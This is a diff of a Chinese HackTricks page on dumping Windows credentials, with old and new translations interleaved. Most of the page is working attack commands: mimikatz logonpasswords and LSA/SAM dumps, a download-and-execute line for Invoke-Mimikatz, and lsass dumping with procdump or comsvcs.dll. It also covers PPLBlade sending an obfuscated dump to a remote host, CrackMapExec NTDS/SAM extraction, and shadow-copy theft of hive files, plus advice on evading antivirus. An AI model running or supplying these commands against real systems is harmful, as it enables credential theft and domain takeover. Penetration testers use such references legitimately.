* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧** * 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧
</details> </details>
**此信息摘自文章:**[**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) **查看来自的精彩帖子:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
## KerberosIKerberos是如何工作的- 理论
2019年3月20日 - ELOY PÉREZ
这一系列文章的目标是澄清Kerberos的工作原理而不仅仅是介绍攻击技术。这是因为在许多情况下为什么某些技术有效或无效并不清楚。了解这些知识可以让我们知道何时在渗透测试中使用这些攻击之一。
因此在长时间的文档研究和关于该主题的几篇文章之后我们试图在本文中写出所有重要细节以便审计人员能够理解如何利用Kerberos协议。
在本文中,只讨论基本功能。在以后的文章中,将介绍如何执行攻击以及更复杂的方面,如委派。
如果对未解释清楚的主题有任何疑问,请随时留下评论或提问。现在,进入主题。
### 什么是Kerberos
首先Kerberos是一种身份验证协议而不是授权协议。换句话说它允许识别每个用户用户提供一个秘密密码但它不验证该用户可以访问哪些资源或服务。
Kerberos在Active Directory中使用。在这个平台上Kerberos提供有关每个用户特权的信息但确定用户是否可以访问其资源是每个服务的责任。
### Kerberos组件
本节将研究Kerberos环境的几个组件。
**传输层**
Kerberos使用UDP或TCP作为传输协议以明文发送数据。因此Kerberos负责提供加密。
Kerberos使用的端口是UDP/88和TCP/88这些端口应该在KDC下一节中解释上监听。
**代理**
多个代理共同工作以提供Kerberos中的身份验证。它们是
* **客户端或用户**,希望访问服务的用户。
* **AP**(应用程序服务器),提供用户所需的服务。
* **KDC**密钥分发中心Kerberos的主要服务负责发行票证安装在DC域控制器上。它由**AS**认证服务支持AS发行TGT。
**加密密钥**
Kerberos处理多个结构如票证。这些结构中的许多是加密或签名的以防止被第三方篡改。这些密钥包括
* **KDC或krbtgt密钥**派生自krbtgt帐户的NTLM哈希。
* **用户密钥**派生自用户的NTLM哈希。
* **服务密钥**派生自服务所有者的NTLM哈希可以是用户或计算机帐户。
* **会话密钥**在用户和KDC之间协商。
* **服务会话密钥**,在用户和服务之间使用。
**票证**
Kerberos处理的主要结构是票证。这些票证交付给用户以便用户在Kerberos领域中执行多个操作。有两种类型
* **TGS**(票证授予服务)是用户可以用来对服务进行身份验证的票证。它使用服务密钥进行加密。
* **TGT**票证授予票证是提交给KDC以请求TGS的票证。它使用KDC密钥进行加密。
**PAC**
**PAC**特权属性证书是几乎每个票证中包含的结构。此结构包含用户的特权并使用KDC密钥进行签名。
服务可以通过与KDC通信来验证PAC尽管这种情况并不经常发生。然而PAC验证仅包括检查其签名而不检查PAC内部的特权是否正确。
此外客户端可以通过在票证请求的_KERB-PA-PAC-REQUEST_字段中指定来避免将PAC包含在票证中。
**消息**
Kerberos使用不同类型的消息。最有趣的是以下几种
* **KRB\_AS\_REQ**用于向KDC请求TGT。
* **KRB\_AS\_REP**由KDC交付TGT使用。
* **KRB\_TGS\_REQ**使用TGT向KDC请求TGS。
* **KRB\_TGS\_REP**由KDC交付TGS使用。
* **KRB\_AP\_REQ**使用TGS对用户进行身份验证。
* **KRB\_AP\_REP**:(可选)由服务用于对用户进行身份验证。
* **KRB\_ERROR**:用于通信错误条件的消息。
此外即使它不是Kerberos的一部分但是NRPCAP还可以使用**KERB\_VERIFY\_PAC\_REQUEST**消息向KDC发送PAC的签名并验证其是否正确。
下面是执行身份验证的消息序列的摘要
![Kerberos消息摘要](<../../.gitbook/assets/image (174) (1).png>)
### 认证过程
在本节中,将研究执行认证所需的消息序列,从没有票证的用户开始,直到对所需服务进行身份验证。
**KRB\_AS\_REQ**
首先用户必须从KDC获取TGT。为此必须发送一个KRB\_AS\_REQ
![KRB\_AS\_REQ消息结构图](<../../.gitbook/assets/image (175) (1).png>)
_KRB\_AS\_REQ_包含以下字段之一
* 使用客户端密钥加密的**时间戳**,用于验证用户身份并防止重放攻击
* 已验证用户的**用户名**
* 与**krbtgt**帐户关联的服务**SPN**
* 用户生成的**Nonce**
注意:只有在用户需要预身份验证时,才需要加密时间戳,这是常见情况,除非在用户帐户中设置了[_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)标志。
**KRB\_AS\_REP**
收到请求后KDC通过解密时间戳来验证用户身份。如果消息正确则必须用_KRB\_AS\_REP_进行响应
![KRB\_AS\_REP消息结构图](<../../.gitbook/assets/image (176) (1).png>)
_KRB\_AS\_REP_包括以下信息
* **用户名**
* **TGT**,其中包括:
* **用户名**
* **会话密钥**
* **TGT的过期日期**
* 由KDC签名的具有用户特权的**PAC**
* 使用用户密钥加密的一些**加密数据**,其中包括:
* **会话密钥**
* **TGT的过期日期**
* 用于防止重放攻击的用户**Nonce**
完成后用户已经拥有了TGT可以用它来请求TGS然后访问服务。
**KRB\_TGS\_REQ**
为了请求TGS必须向KDC发送一个_KRB\_TGS\_REQ_消息
![KRB\_TGS\_REQ消息结构图](<../../.gitbook/assets/image (177).png>)
_KRB\_TGS\_REQ_包括
* 使用会话密钥的**加密数据**
* **用户名**
* **时间戳**
* **TGT**
* 所请求服务的**SPN**
* 用户生成的**Nonce**
**KRB\_TGS\_REP**
收到_KRB\_TGS\_REQ_消息后KDC返回一个包含TGS的_KRB\_TGS\_REP_
![KRB\_TGS\_REP消息结构图](<../../.gitbook/assets/image (178) (1).png>)
_KRB\_TGS\_REP_包括
* **用户名**
* **TGS**,其中包含:
* **服务会话密钥**
* **用户名**
* **TGS的过期日期**
* 由KDC签名的具有用户特权的**PAC**
* 使用会话密钥的**加密数据**
* **服务会话密钥**
* **TGS的过期日期**
* 用于防止重放攻击的用户**Nonce**
**KRB\_AP\_REQ**
最后如果一切顺利用户已经拥有有效的TGS以与服务进行交互。为了使用它用户必须向AP发送一个_KRB\_AP\_REQ_消息
![KRB\_AP\_REQ消息结构图](<../../.gitbook/assets/image (179) (1).png>)
_KRB\_AP\_REQ_包括
* **TGS**
* 使用服务会话密钥的**加密数据**
* **用户名**
* **时间戳**,以避免重放攻击
之后如果用户权限正确就可以访问服务。如果是这种情况通常不会发生AP将根据KDC验证PAC并在需要相互认证时向用户响应一个_KRB\_AP\_REP_消息。
### 参考资料
* Kerberos v5 RFC: [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120)
* \[MS-KILE\] Kerberos扩展: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx)
* \[MS-APDS\] 认证协议域支持: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx)
* Mimikatz和Active Directory Kerberos攻击: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556)
* 用5岁孩子的语言解释Kerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* Kerberos和KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483)
* 掌握Windows网络取证和调查第2版。作者S. AnsonS. BuntingR. Johnson和S. Pearson。出版社Sibex。
* Active Directory第5版。作者B. DesmondJ. RichardsR. Allen和A.G. Lowe-Norris
* 服务主体名称:[https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx)
* Active Directory的功能级别[https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0)
* OverPass The Hash Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash)
* Pass The Ticket Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos)
* Golden Ticket Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos)
* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html)
* 攻击Kerberos: 踢开冥界的守卫犬: [https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf)
* Kerberoasting Part 1: [https://room362.com/post/2016/kerberoast-pt1/](https://room362.com/post/2016/kerberoast-pt1/)
* Kerberoasting Part 2: [https://room362.com/post/2016/kerberoast-pt2/](https://room362.com/post/2016/kerberoast-pt2/)
* 烤AS-REPs[https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* PAC验证[https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html](https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html)
* 理解PAC验证[https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/](https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/)
* 重置krbtgt账户密码/密钥:[https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51)
* 缓解Pass-the-Hash (PtH)攻击和其他凭证盗窃:[https://www.microsoft.com/en-us/download/details.aspx?id=36036](https://www.microsoft.com/en-us/download/details.aspx?id=36036)
* 在AD环境中使用LDAP、Kerberos (和MSRPC)的有趣玩法:[https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>

File diff suppressed because it is too large Load diff

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享你的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -28,19 +28,19 @@ lsadump::sam
#One liner #One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit" mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
``` ```
**在** [**此页面**](credentials-mimikatz.md) **中找到 Mimikatz 的其他功能。** **在** [**这个页面**](credentials-mimikatz.md)**中查找Mimikatz可以执行的其他操作。**
### Invoke-Mimikatz ### 调用Mimikatz
```bash ```bash
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1') IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"' Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
``` ```
[**了解一些可能的凭证保护措施。**](credentials-protections.md) **这些保护措施可能会阻止Mimikatz提取某些凭证。** [**了解一些可能的凭据保护措施。**](credentials-protections.md) **这些保护措施可以防止 Mimikatz 提取一些凭据。**
## 使用Meterpreter的凭证 ## 使用 Meterpreter 提取凭据
使用我创建的[**凭证插件**](https://github.com/carlospolop/MSF-Credentials)来**搜索受害者内部的密码和哈希值**。 使用我创建的[**凭据插件**](https://github.com/carlospolop/MSF-Credentials) **来搜索受害者内部的密码和哈希值。**
```bash ```bash
#Credentials from SAM #Credentials from SAM
post/windows/gather/smart_hashdump post/windows/gather/smart_hashdump
@ -61,10 +61,10 @@ mimikatz_command -f "lsadump::sam"
### Procdump + Mimikatz ### Procdump + Mimikatz
由于 [**SysInternals**](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) 的 **Procdump 是微软的合法工具**,因此不会被 Defender 检测到。\ 由于**SysInternals**的**Procdump**是一个合法的微软工具因此不会被Defender检测到。\
你可以使用这个工具来 **转储 lsass 进程****下载转储文件**,并从转储中 **本地提取** **凭据** 您可以使用这个工具来**转储lsass进程****下载转储文件**,并从中**本地提取**凭据
{% code title="转储 lsass" %} {% code title="Dump lsass" %}
```bash ```bash
#Local #Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
@ -72,115 +72,109 @@ C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
net use Z: https://live.sysinternals.com net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
``` ```
```
{% endcode %} {% endcode %}
{% code title="从转储中提取凭证" %} {% code title="从转储中提取凭据" %}
```
```c ```c
//Load the dump //Load the dump
mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials //Extract credentials
mimikatz # sekurlsa::logonPasswords mimikatz # sekurlsa::logonPasswords
``` ```
```markdown
{% endcode %} {% endcode %}
此过程可通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` 这个过程是通过[SprayKatz](https://github.com/aas-n/spraykatz)自动完成的`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**注意**:一些 **AV** 可能会将使用 **procdump.exe 转储 lsass.exe** 的行为 **检测****恶意**,这是因为它们在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump而不是 **名称 lsass.exe**,会更 **隐蔽** **注意**: 一些**杀毒软件**可能会将使用**procdump.exe转储lsass.exe**视为**恶意行为**,这是因为它们检测到了字符串**"procdump.exe"和"lsass.exe"**。因此更隐蔽的方法是将lsass.exe的**PID**作为参数传递给procdump而不是使用lsass.exe的名称
### 使用 **comsvcs.dll** 转储 lsass ### 使用**comsvcs.dll**转储lsass
有一个名为 **comsvcs.dll** 的 DLL位于 `C:\Windows\System32`,它会在进程 **崩溃****转储进程内存**。这个 DLL 包含一个名为 **`MiniDumpW`** 的 **函数**,它被编写为可以通过 `rundll32.exe` 调用。\ 位于`C:\Windows\System32`中的名为**comsvcs.dll**的DLL负责在发生崩溃时**转储进程内存**。该DLL包含一个名为**`MiniDumpW`**的函数,设计用于使用`rundll32.exe`调用。\
前两个参数不被使用,但第三个参数被分为三部分。第一部分是将被转储的进程 ID第二部分是转储文件位置第三部分是单词 **full**。没有其他选择。\ 使用前两个参数是无关紧要的但第三个参数分为三个组件。要转储的进程ID构成第一个组件转储文件位置代表第二个组件第三个组件严格为单词**full**。没有其他可选项。\
一旦这三个参数被解析,基本上这个 DLL 就会创建转储文件,并将指定的进程转储到该文件中。\ 解析这三个组件后DLL将开始创建转储文件并将指定进程的内存传输到此文件中。\
得益于这个函数,我们可以使用 **comsvcs.dll** 来转储 lsass 进程,而不是上传 procdump 并执行它。(此信息摘自 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/) 可以利用**comsvcs.dll**来转储lsass进程从而消除上传和执行procdump的需要。此方法在[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)中有详细描述。
```
``` 以下命令用于执行:
```bash
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
``` ```
我们必须记住,这项技术只能以**SYSTEM**身份执行。 **您可以使用** [**lssasy**](https://github.com/Hackndo/lsassy)** 来自动化这个过程。**
**您可以使用** [**lssasy**](https://github.com/Hackndo/lsassy) **自动化此过程。** ### **使用任务管理器转储 lsass**
### **使用任务管理器转储lsass** 1. 在任务栏上右键单击,然后单击任务管理器
2. 单击“详细信息”
3. 在“进程”选项卡中搜索“本地安全机构进程”进程
4. 右键单击“本地安全机构进程”进程,然后单击“创建转储文件”。
1. 右键点击任务栏,然后点击任务管理器 ### 使用 procdump 转储 lsass
2. 点击更多详情
3. 在进程标签中搜索“本地安全权限进程”
4. 右键点击“本地安全权限进程”,然后点击“创建转储文件”。
### 使用procdump转储lsass
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。 [Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
``` ```
Get-Process -Name LSASS Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp .\procdump.exe -ma 608 lsass.dmp
``` ```
## 使用 PPLBlade 转储 lsass ## 使用PPLBlade转储lsass
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具,支持混淆内存转储并在不将其写入磁盘的情况下传输到远程工作站 [**PPLBlade**](https://github.com/tastypepperoni/PPLBlade)是一种受保护的进程转储工具,支持对内存转储进行混淆,并将其传输到远程工作站,而无需将其放在磁盘上
**主要功能** **关键功能**
1. 绕过 PPL 保护 1. 绕过PPL保护
2. 混淆内存转储文件以规避 Defender 基于签名的检测机制 2. 对内存转储文件进行混淆以规避Defender基于签名的检测机制
3. 使用 RAW 和 SMB 上传方法上传内存转储,不将其写入磁盘(无文件转储) 3. 使用RAW和SMB上传方法上传内存转储而无需将其放在磁盘上(无文件转储)
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234 PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
``` ```
{% endcode %}
## CrackMapExec ## CrackMapExec
### 转储SAM哈希 ### 转储 SAM 哈希
``` ```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
``` ```
### 转储LSA机密 ### 转储 LSA 机密
``` ```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
``` ```
### 从目标DC中转储NTDS.dit文件 ### 从目标 DC 转储 NTDS.dit
``` ```
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
``` ```
### 从目标DC中转储NTDS.dit密码历史记录 ### 从目标 DC 中转储 NTDS.dit 密码历史
``` ```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
``` ```
### 显示每个NTDS.dit户的pwdLastSet属性 ### 显示每个NTDS.dit户的pwdLastSet属性
``` ```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
``` ```
## 窃取 SAM & SYSTEM 文件 ## 窃取SAM & SYSTEM
这些文件应该**位于** _C:\windows\system32\config\SAM__C:\windows\system32\config\SYSTEM_。但是**你不能用常规方式复制它们**,因为它们受到了保护。 这些文件应该位于 _C:\windows\system32\config\SAM__C:\windows\system32\config\SYSTEM._ 但是**你不能简单地复制它们**因为它们受到保护。
### 从注册表 ### 从注册表
窃取这些文件的最简单方法是从注册表获取副本: 窃取这些文件的最简单方法是从注册表获取副本:
``` ```
reg save HKLM\sam sam reg save HKLM\sam sam
reg save HKLM\system system reg save HKLM\system system
reg save HKLM\security security reg save HKLM\security security
``` ```
**下载**这些文件到你的Kali机器并使用以下命令**提取哈希值** **下载**这些文件到您的Kali机器并使用以下命令**提取哈希值**
``` ```
samdump2 SYSTEM SAM samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL impacket-secretsdump -sam sam -security security -system system LOCAL
``` ```
### 卷影复制服务 ### 卷影复制
您可以使用此服务复制受保护的文件。您需要是管理员。 您可以使用此服务执行受保护文件的复制。您需要是管理员。
#### 使用 vssadmin #### 使用vssadmin
vssadmin 二进制文件仅在 Windows Server 版本中可用 vssadmin二进制文件仅在Windows Server版本中可用
```bash ```bash
vssadmin create shadow /for=C: vssadmin create shadow /for=C:
#Copy SAM #Copy SAM
@ -193,9 +187,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
# You can also create a symlink to the shadow copy and access it # You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
``` ```
```markdown 但是你也可以通过**Powershell**做同样的事情。这是一个**如何复制SAM文件**的示例(硬盘使用的是"C:"并保存在C:\users\Public但你可以用它来复制任何受保护的文件
但你也可以通过**Powershell**来做同样的事情。这是一个**如何复制SAM文件**的例子(使用的硬盘是"C:"并且它被保存到C:\users\Public但你可以用这个方法复制任何受保护的文件
```
```bash ```bash
$service=(Get-Service -name VSS) $service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()} if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
@ -204,76 +196,80 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()} $voume.Delete();if($notrunning -eq 1){$service.Stop()}
``` ```
代码来自书籍:[https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
### Invoke-NinjaCopy ### Invoke-NinjaCopy
最后,您也可以使用 [**PS 脚本 Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) 来复制 SAM、SYSTEM ntds.dit。 最后,您还可以使用[**PS脚本Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)来复制SAM、SYSTEM和ntds.dit。
```bash ```bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
``` ```
## **Active Directory 凭据 - NTDS.dit** ## **Active Directory凭证 - NTDS.dit**
**Ntds.dit 文件是一个存储 Active Directory 数据的数据库**,包括有关用户对象、组和组成员资格的信息。它包含域中所有用户的密码哈希。 **Ntds.dit文件是存储Active Directory数据的数据库**,包括有关用户对象、组和组成员的信息。它包含域中所有用户的密码哈希
重要的 NTDS.dit 文件将位于_%SystemRoom%/NTDS/ntds.dit_\ 重要的NTDS.dit文件将位于_%SystemRoom%/NTDS/ntds.dit_\
这个文件是一个 _Extensible Storage Engine_ (ESE) 数据库,它“官方”由 3 个表组成 此文件是一个由3个表“官方”组成的数据库_可扩展存储引擎_ESE
* **数据表**:包含对象(用户、组等)的信息 * **数据表**:包含有关对象(用户、组等)的信息
